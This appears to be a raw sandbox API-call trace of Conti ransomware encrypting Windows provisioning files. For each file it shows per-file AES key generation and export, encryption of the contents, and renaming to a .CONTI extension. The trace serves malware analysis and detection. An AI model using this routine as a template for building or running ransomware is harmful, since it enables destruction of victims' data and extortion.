	[0113.366] CryptExportKey (in: hKey=0x17c7bb0, hExpKey=0x175ddb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65c009c, pdwDataLen=0x447fe94 | out: pbData=0x65c009c*, pdwDataLen=0x447fe94*=0x20c) returned 1
	[0113.366] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\598__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\598__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.367] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\598__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\598__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0113.367] GetLastError () returned 0x0
	[0113.367] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x447fe40 | out: lpFileSize=0x447fe40*=720) returned 1
	[0113.367] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d0
	[0113.367] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.367] SetEndOfFile (hFile=0x320) returned 1
	[0113.367] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.367] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.367] WriteFile (in: hFile=0x320, lpBuffer=0x65c009c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x447fe4c, lpOverlapped=0x0 | out: lpBuffer=0x65c009c*, lpNumberOfBytesWritten=0x447fe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.369] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.369] ReadFile (in: hFile=0x320, lpBuffer=0xbbf0000, nNumberOfBytesToRead=0x2d0, lpNumberOfBytesRead=0x447fe6c, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesRead=0x447fe6c*=0x2d0, lpOverlapped=0x0) returned 1
	[0113.369] CryptEncrypt (in: hKey=0x17c7bb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x2d0, dwBufLen=0x500000 | out: pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x2e0) returned 1
	[0113.369] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.369] WriteFile (in: hFile=0x320, lpBuffer=0xbbf0000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x447fe80, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesWritten=0x447fe80*=0x2e0, lpOverlapped=0x0) returned 1
	[0113.369] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.369] WriteFile (in: hFile=0x320, lpBuffer=0x65c0090*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x447fe98, lpOverlapped=0x0 | out: lpBuffer=0x65c0090*, lpNumberOfBytesWritten=0x447fe98*=0x8, lpOverlapped=0x0) returned 1
	[0113.369] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.369] CloseHandle (hObject=0x320) returned 1
	[0113.370] GetProcessHeap () returned 0x1720000
	[0113.370] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.370] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\598__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\598__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\598__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml"
	[0113.370] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\598__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\598__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\598__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.370] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\598__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\598__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\598__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\598__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.371] GetProcessHeap () returned 0x1720000
	[0113.371] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.371] CryptDestroyKey (hKey=0x17c7bb0) returned 1
	[0113.371] GetProcessHeap () returned 0x1720000
	[0113.371] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65baf10 | out: hHeap=0x1720000) returned 1
	[0113.371] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0) returned 1
	[0113.371] CryptGenKey (in: hProv=0x1761368, Algid=0x6610, dwFlags=0x1, phKey=0x65bf9c0 | out: phKey=0x65bf9c0*=0x17c77f0) returned 1
	[0113.371] CryptExportKey (in: hKey=0x17c77f0, hExpKey=0x175ddb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65bf9c4, pdwDataLen=0x447fe94 | out: pbData=0x65bf9c4*, pdwDataLen=0x447fe94*=0x20c) returned 1
	[0113.372] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\599__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\599__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.372] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\599__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\599__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0113.372] GetLastError () returned 0x0
	[0113.372] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x447fe40 | out: lpFileSize=0x447fe40*=710) returned 1
	[0113.372] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c6
	[0113.372] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x22e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.372] SetEndOfFile (hFile=0x320) returned 1
	[0113.372] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.372] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.372] WriteFile (in: hFile=0x320, lpBuffer=0x65bf9c4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x447fe4c, lpOverlapped=0x0 | out: lpBuffer=0x65bf9c4*, lpNumberOfBytesWritten=0x447fe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.374] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.374] ReadFile (in: hFile=0x320, lpBuffer=0xbbf0000, nNumberOfBytesToRead=0x2c6, lpNumberOfBytesRead=0x447fe6c, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesRead=0x447fe6c*=0x2c6, lpOverlapped=0x0) returned 1
	[0113.374] CryptEncrypt (in: hKey=0x17c77f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x2c6, dwBufLen=0x500000 | out: pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x2d0) returned 1
	[0113.374] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.374] WriteFile (in: hFile=0x320, lpBuffer=0xbbf0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x447fe80, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesWritten=0x447fe80*=0x2d0, lpOverlapped=0x0) returned 1
	[0113.374] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.374] WriteFile (in: hFile=0x320, lpBuffer=0x65bf9b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x447fe98, lpOverlapped=0x0 | out: lpBuffer=0x65bf9b8*, lpNumberOfBytesWritten=0x447fe98*=0x8, lpOverlapped=0x0) returned 1
	[0113.375] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.375] CloseHandle (hObject=0x320) returned 1
	[0113.375] GetProcessHeap () returned 0x1720000
	[0113.375] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.375] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\599__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\599__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\599__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml"
	[0113.375] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\599__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\599__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\599__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.375] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\599__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\599__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\599__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\599__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.375] GetProcessHeap () returned 0x1720000
	[0113.375] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.376] CryptDestroyKey (hKey=0x17c77f0) returned 1
	[0113.376] GetProcessHeap () returned 0x1720000
	[0113.376] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65bbfb8 | out: hHeap=0x1720000) returned 1
	[0113.376] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0) returned 1
	[0113.376] CryptGenKey (in: hProv=0x1761368, Algid=0x6610, dwFlags=0x1, phKey=0x65bf0a0 | out: phKey=0x65bf0a0*=0x17c77f0) returned 1
	[0113.376] CryptExportKey (in: hKey=0x17c77f0, hExpKey=0x175ddb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65bf0a4, pdwDataLen=0x447fe94 | out: pbData=0x65bf0a4*, pdwDataLen=0x447fe94*=0x20c) returned 1
	[0113.376] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\59__Connections_Cellular_Cosmo Bulgaria Mobile EAD (Bulgaria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\59__connections_cellular_cosmo bulgaria mobile ead (bulgaria)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.377] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\59__Connections_Cellular_Cosmo Bulgaria Mobile EAD (Bulgaria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\59__connections_cellular_cosmo bulgaria mobile ead (bulgaria)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0113.377] GetLastError () returned 0x0
	[0113.377] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x447fe40 | out: lpFileSize=0x447fe40*=672) returned 1
	[0113.377] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2a0
	[0113.377] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.377] SetEndOfFile (hFile=0x320) returned 1
	[0113.377] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.377] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.377] WriteFile (in: hFile=0x320, lpBuffer=0x65bf0a4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x447fe4c, lpOverlapped=0x0 | out: lpBuffer=0x65bf0a4*, lpNumberOfBytesWritten=0x447fe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.379] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.379] ReadFile (in: hFile=0x320, lpBuffer=0xbbf0000, nNumberOfBytesToRead=0x2a0, lpNumberOfBytesRead=0x447fe6c, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesRead=0x447fe6c*=0x2a0, lpOverlapped=0x0) returned 1
	[0113.379] CryptEncrypt (in: hKey=0x17c77f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x2a0, dwBufLen=0x500000 | out: pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x2b0) returned 1
	[0113.379] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.379] WriteFile (in: hFile=0x320, lpBuffer=0xbbf0000*, nNumberOfBytesToWrite=0x2b0, lpNumberOfBytesWritten=0x447fe80, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesWritten=0x447fe80*=0x2b0, lpOverlapped=0x0) returned 1
	[0113.379] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.380] WriteFile (in: hFile=0x320, lpBuffer=0x65bf098*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x447fe98, lpOverlapped=0x0 | out: lpBuffer=0x65bf098*, lpNumberOfBytesWritten=0x447fe98*=0x8, lpOverlapped=0x0) returned 1
	[0113.380] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.380] CloseHandle (hObject=0x320) returned 1
	[0113.380] GetProcessHeap () returned 0x1720000
	[0113.380] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.380] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\59__Connections_Cellular_Cosmo Bulgaria Mobile EAD (Bulgaria)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\59__Connections_Cellular_Cosmo Bulgaria Mobile EAD (Bulgaria)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\59__Connections_Cellular_Cosmo Bulgaria Mobile EAD (Bulgaria)_i0$(__MVID)@WAP.provxml"
	[0113.380] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\59__Connections_Cellular_Cosmo Bulgaria Mobile EAD (Bulgaria)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\59__Connections_Cellular_Cosmo Bulgaria Mobile EAD (Bulgaria)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\59__Connections_Cellular_Cosmo Bulgaria Mobile EAD (Bulgaria)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.380] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\59__Connections_Cellular_Cosmo Bulgaria Mobile EAD (Bulgaria)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\59__connections_cellular_cosmo bulgaria mobile ead (bulgaria)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\59__Connections_Cellular_Cosmo Bulgaria Mobile EAD (Bulgaria)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\59__connections_cellular_cosmo bulgaria mobile ead (bulgaria)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.381] GetProcessHeap () returned 0x1720000
	[0113.381] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.381] CryptDestroyKey (hKey=0x17c77f0) returned 1
	[0113.381] GetProcessHeap () returned 0x1720000
	[0113.381] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181e740 | out: hHeap=0x1720000) returned 1
	[0113.381] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x447fec0, lpCompletionKey=0x447fec4, lpOverlapped=0x447fed0) returned 1
	[0113.381] CryptGenKey (in: hProv=0x1761368, Algid=0x6610, dwFlags=0x1, phKey=0x65bc9d8 | out: phKey=0x65bc9d8*=0x17c7bf0) returned 1
	[0113.381] CryptExportKey (in: hKey=0x17c7bf0, hExpKey=0x175ddb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65bc9dc, pdwDataLen=0x447fe94 | out: pbData=0x65bc9dc*, pdwDataLen=0x447fe94*=0x20c) returned 1
	[0113.382] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\5__Connections_Cellular_Telecom Personal SA (Argentina)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\5__connections_cellular_telecom personal sa (argentina)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.382] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\5__Connections_Cellular_Telecom Personal SA (Argentina)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\5__connections_cellular_telecom personal sa (argentina)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0113.382] GetLastError () returned 0x0
	[0113.382] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x447fe40 | out: lpFileSize=0x447fe40*=729) returned 1
	[0113.382] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d9
	[0113.382] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x22b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.383] SetEndOfFile (hFile=0x320) returned 1
	[0113.383] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.383] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.383] WriteFile (in: hFile=0x320, lpBuffer=0x65bc9dc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x447fe4c, lpOverlapped=0x0 | out: lpBuffer=0x65bc9dc*, lpNumberOfBytesWritten=0x447fe4c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.384] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.384] ReadFile (in: hFile=0x320, lpBuffer=0xbbf0000, nNumberOfBytesToRead=0x2d9, lpNumberOfBytesRead=0x447fe6c, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesRead=0x447fe6c*=0x2d9, lpOverlapped=0x0) returned 1
	[0113.384] CryptEncrypt (in: hKey=0x17c7bf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x2d9, dwBufLen=0x500000 | out: pbData=0xbbf0000*, pdwDataLen=0x447fe64*=0x2e0) returned 1
	[0113.384] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.385] WriteFile (in: hFile=0x320, lpBuffer=0xbbf0000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x447fe80, lpOverlapped=0x0 | out: lpBuffer=0xbbf0000*, lpNumberOfBytesWritten=0x447fe80*=0x2e0, lpOverlapped=0x0) returned 1
	[0113.385] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.385] WriteFile (in: hFile=0x320, lpBuffer=0x65bc9d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x447fe98, lpOverlapped=0x0 | out: lpBuffer=0x65bc9d0*, lpNumberOfBytesWritten=0x447fe98*=0x8, lpOverlapped=0x0) returned 1
	[0113.385] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.385] CloseHandle (hObject=0x320) returned 1
	[0113.385] GetProcessHeap () returned 0x1720000
	[0113.385] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
